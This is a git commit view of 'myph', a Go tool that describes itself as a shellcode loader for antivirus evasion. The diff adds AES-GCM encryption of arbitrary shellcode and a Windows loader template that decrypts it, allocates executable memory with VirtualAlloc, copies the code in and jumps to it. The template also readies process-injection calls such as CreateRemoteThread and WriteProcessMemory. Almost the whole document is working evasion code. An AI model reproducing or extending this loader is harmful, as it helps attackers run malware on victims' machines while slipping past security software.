myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit 421598e40f1c505bd41707ae94ff92baa90d5d99
parent 4205d2d2a82d8dfd069dd26e91ce912d4a18d8c0
Author: winds0r <[email protected]>
Date: Thu, 9 Feb 2023 00:37:16 +0900

feat(loader): basic loader done

Diffstat:
Mcli/defaults.go | 2++
Mcli/parser.go | 15+++++++++++----
Mcli/types.go | 6++++++
Mloader/aes.go | 31+++++++++++++++++++++++--------
Mloader/windows.go | 102++++++++++++++++++++++++++++++++++++++++++++++++++++++-------------------------

5 files changed, 112 insertions(+), 44 deletions(-)

diff --git a/cli/defaults.go b/cli/defaults.go
@@ -10,6 +10,8 @@ func GetDefaultCLIOptions() Options {
         ShellcodePath: "",
         AesKey: RandBytes(32),
         Outfile: "myph-out.exe",
+        OS: "windows",
+        arch: "amd64",
     }
 
     return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -31,7 +31,11 @@ func GetParser(opts *Options) *cobra.Command {
             }
 
             fmt.Println("[+] Successfully read shellcode")
-            payload := loader.Encrypt(opts.AesKey, plaintext_payload)
+            payload, err := loader.Encrypt(opts.AesKey, plaintext_payload); if err != nil {
+                fmt.Println(err.Error())
+                os.Exit(1)
+            }
+
             s := loader.Shellcode{
                 Payload: payload,
                 Filename: opts.Outfile,
@@ -48,8 +52,8 @@ func GetParser(opts *Options) *cobra.Command {
             fmt.Println("[+] loaded Windows template")
 
             /* run compilation */
-            os.Setenv("GOOS", "windows")
-            os.Setenv("GOARCH", "386")
+            os.Setenv("GOOS", opts.OS)
+            os.Setenv("GOARCH", opts.arch)
             err = exec.Command(
                 "go",
                 "build",
@@ -63,14 +67,17 @@ func GetParser(opts *Options) *cobra.Command {
                 return
             }
             fmt.Println("[+] Successfully compiled shellcode")
+            os.Remove("tmp.go")
         },
     }
 
     defaults := GetDefaultCLIOptions()
 
-    cmd.PersistentFlags().StringVarP(&opts.Outfile, "outfile", "o", defaults.Outfile, "output filepath")
+    cmd.PersistentFlags().StringVarP(&opts.Outfile, "outfile", "f", defaults.Outfile, "output filepath")
     cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
     cmd.PersistentFlags().BytesHexVarP(&opts.AesKey, "aes-key", "a", defaults.AesKey, "AES key for shellcode encryption")
+    cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")
+    cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
 
     return cmd
 }
diff --git a/cli/types.go b/cli/types.go
@@ -10,4 +10,10 @@ type Options struct {
 
     // AES shellcode encryption secret
     AesKey []byte
+
+    // os compilation target
+    OS string
+
+    // arch compilation target
+    arch string
 }
diff --git a/loader/aes.go b/loader/aes.go
@@ -3,16 +3,31 @@ package loader
 import (
 	"crypto/aes"
 	"fmt"
-	"os"
+
+    "crypto/cipher"
+    "crypto/rand"
+    "io"
 )
 
-func Encrypt(key []byte, plaintext []byte) []byte {
-    c, err := aes.NewCipher(key); if err != nil {
-        fmt.Printf("[!] cipher gen: %s\n", err.Error())
-        os.Exit(1)
+func ToString(payload []byte) string {
+    return fmt.Sprint([]byte(payload))
+}
+
+func Encrypt(key []byte, plaintext []byte) ([]byte, error) {
+    c, err := aes.NewCipher(key)
+    if err != nil {
+        return nil, err
+    }
+
+    gcm, err := cipher.NewGCM(c)
+    if err != nil {
+        return nil, err
+    }
+
+    nonce := make([]byte, gcm.NonceSize())
+    if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
+        return nil, err
     }
 
-    out := make([]byte, len(plaintext))
-    c.Encrypt(out, plaintext)
-    return out
+    return gcm.Seal(nonce, nonce, plaintext, nil), nil
 }
diff --git a/loader/windows.go b/loader/windows.go
@@ -1,61 +1,104 @@
 package loader
 
 import (
-	"encoding/hex"
 	"fmt"
 )
 
 func LoadWindowsTemplate(s Shellcode) string {
 
-    hexShellcode := hex.EncodeToString(s.Payload)
-    hexKey := hex.EncodeToString(s.AesKey)
+    hexShellcode := ToString(s.Payload)
+    hexKey := ToString(s.AesKey)
 
     return fmt.Sprintf(`
 package main
 
 import (
         "crypto/aes"
-        "encoding/hex"
         "os"
-        "unsafe"
         "syscall"
-        "fmt"
+        "unsafe"
+        "strings"
+        "strconv"
+        "crypto/cipher"
+        "errors"
 )
 
+
 const (
-    MEM_COMMIT             = 0x1000
-    MEM_RESERVE            = 0x2000
-    PAGE_EXECUTE_READWRITE = 0x40
+    MEM_COMMIT                = 0x1000
+    MEM_RESERVE               = 0x2000
+    PAGE_EXECUTE_READWRITE    = 0x40
+    PROCESS_CREATE_THREAD     = 0x0002
+    PROCESS_QUERY_INFORMATION = 0x0400
+    PROCESS_VM_OPERATION      = 0x0008
+    PROCESS_VM_WRITE          = 0x0020
+    PROCESS_VM_READ           = 0x0010
 )
 
 var (
-    kernel32      = syscall.MustLoadDLL("kernel32.dll")
-    ntdll         = syscall.MustLoadDLL("ntdll.dll")
-
-    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
-    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
+    kernel32            = syscall.MustLoadDLL("kernel32.dll")
+    ntdll               = syscall.MustLoadDLL("ntdll.dll")
+    VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
+    VirtualAllocEx      = kernel32.MustFindProc("VirtualAllocEx")
+    WriteProcessMemory  = kernel32.MustFindProc("WriteProcessMemory")
+    RtlCopyMemory       = ntdll.MustFindProc("RtlCopyMemory")
+    CreateThread        = kernel32.MustFindProc("CreateThread")
+    OpenProcess         = kernel32.MustFindProc("OpenProcess")
+    WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
+    procVirtualProtect  = kernel32.MustFindProc("VirtualProtect")
+    CreateRemoteThread  = kernel32.MustFindProc("CreateRemoteThread")
 )
 
-func decrypt(key string, payload string) []byte {
-    ciphertext, _ := hex.DecodeString(payload)
-    keyAsBytes, _ := hex.DecodeString(key)
+func decrypt(key []byte, ciphertext []byte) ([]byte, error) {
+    c, err := aes.NewCipher(key)
+    if err != nil {
+        return nil, err
+    }
 
-    c, err := aes.NewCipher(keyAsBytes); if err != nil {
-        os.Exit(1)
+    gcm, err := cipher.NewGCM(c)
+    if err != nil {
+        return nil, err
+    }
+
+    nonceSize := gcm.NonceSize()
+    if len(ciphertext) < nonceSize {
+        return nil, errors.New("ciphertext too short")
+    }
+
+    nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
+    return gcm.Open(nil, nonce, ciphertext, nil)
+}
+
+
+func StringBytesParseString(byteString string) (string, error) {
+    byteString = strings.TrimSuffix(byteString, "]")
+    byteString = strings.TrimLeft(byteString, "[")
+    sByteString := strings.Split(byteString, " ")
+    var res []byte
+    for _, s := range sByteString {
+        i, err := strconv.ParseUint(s, 10, 64)
+        if err != nil {
+            return "", err
+        }
+        res = append(res, byte(i))
     }
 
-    plaintext := make([]byte, len(payload))
-    c.Decrypt(plaintext, ciphertext)
-    s := string(plaintext[:])
-    return []byte(s)
+    return string(res), nil
 }
 
 func main() {
     /* decrypt shellcode using AES */
-    payload := decrypt("%s", "%s")
+    key, err := StringBytesParseString("%s"); if err != nil {
+        os.Exit(1)
+    }
 
-    fmt.Println(payload)
+    bytesPayload, err := StringBytesParseString("%s"); if err != nil {
+        os.Exit(1)
+    }
 
+    payload, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
+        os.Exit(1)
+    }
     addr, _, err := VirtualAlloc.Call(
         0,
         uintptr(len(payload)),
@@ -63,7 +106,7 @@ func main() {
     )
 
     if err != nil && err.Error() != "The operation completed successfully." {
-        syscall.Exit(0)
+        os.Exit(0)
     }
 
     _, _, err = RtlCopyMemory.Call(
@@ -73,15 +116,10 @@ func main() {
     )
 
     if err != nil && err.Error() != "The operation completed successfully." {
-        fmt.Println(err.Error())
-        syscall.Exit(0)
+        os.Exit(0)
     }
 
-    // jump to shellcode
     syscall.Syscall(addr, 0, 0, 0, 0)
-
 }
 `, hexKey, hexShellcode)
 }
-
-